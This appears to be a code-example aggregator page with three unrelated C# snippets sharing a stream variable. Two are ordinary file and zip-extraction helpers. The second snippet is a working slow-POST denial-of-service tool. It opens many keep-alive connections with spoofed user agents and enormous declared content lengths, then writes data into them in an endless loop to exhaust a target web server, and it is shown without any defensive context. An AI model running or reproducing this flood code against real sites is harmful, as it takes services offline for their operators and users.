/// <summary>
        /// Handles the actual writing of the submitted data to the file system.
        /// </summary>
        /// <param name="transfer">The processed transfer.</param>
        /// <param name="dataBlock">A data block that contains a chunk of data
        /// which should be written to the file system.</param>
        protected override void WriteBufferedDataBlockImpl(TTransfer transfer, BufferedDataBlock dataBlock)
        {
            TempStream stream = GetCachedTempData(transfer, dataBlock.Offset);

            byte[] data = dataBlock.Data;
            stream.Write(data, 0, data.Length);
        }
Beispiel #2
0
        public static void Site(string URL, long Size, string Word, long Amount)
        {
            CJ = new CookieContainer();
            HttpWebRequest Request = (HttpWebRequest)WebRequest.Create(new Uri(URL));

            Request.ContentType     = "application/x-www-form-urlencoded";
            Request.Referer         = URL;
            Request.UserAgent       = GenerateRandomUserAgent();
            Request.CookieContainer = CJ;

            HttpWebResponse Response = (HttpWebResponse)Request.GetResponse();

            Thread.Sleep(1 * 1000);

            List <HttpWebRequest> ConnectionList = new List <HttpWebRequest>();

            Stream TempStream;
            Random RandomLength = new Random(DateTime.Now.Millisecond);

            for (int i = 0; i < Amount; i++)
            {
                HttpWebRequest TempRequest = (HttpWebRequest)WebRequest.Create(new Uri(URL));

                TempRequest.ContentType     = "application/x-www-form-urlencoded";
                TempRequest.UserAgent       = GenerateRandomUserAgent();
                TempRequest.CookieContainer = CJ;

                TempRequest.Method        = WebRequestMethods.Http.Post;
                TempRequest.KeepAlive     = true;
                TempRequest.ContentLength = RandomLength.Next(20000000, 100000000);
                TempRequest.ServicePoint.ConnectionLimit = 10000;

                ConnectionList.Add(TempRequest);
            }

            while (true)
            {
                for (int i = 0; i < Amount; i++)
                {
                    for (long j = 0; j < Size; j++)
                    {
                        TempStream = ConnectionList[i].GetRequestStream();
                        TempStream.Write(Encoding.Default.GetBytes(Word), 0, Encoding.Default.GetBytes(Word).Length);

                        Console.WriteLine((enUS.get(Global.Messages.WEB_SENDED)).Replace("[word]", Word).Replace("[url]", URL).Replace("[size]", "" + Size));
                    }
                }

                GC.Collect();
            }
        }
Beispiel #3
0
 private Stream ExtractWholeFile(ZipEntry ze, ref string path)
 {
     using (var file = ModFile.GetInputStream(ze))
     {
         Stream TempStream;
         if (path != null || ze.Size > 67108864)
         {
             TempStream = Framework.CreateTempFile(out path);
         }
         else
         {
             TempStream = new MemoryStream((int)ze.Size);
         }
         var buffer = new byte[4096];
         int i;
         while ((i = file.Read(buffer, 0, 4096)) > 0)
         {
             TempStream.Write(buffer, 0, i);
         }
         TempStream.Position = 0;
         return(TempStream);
     }
 }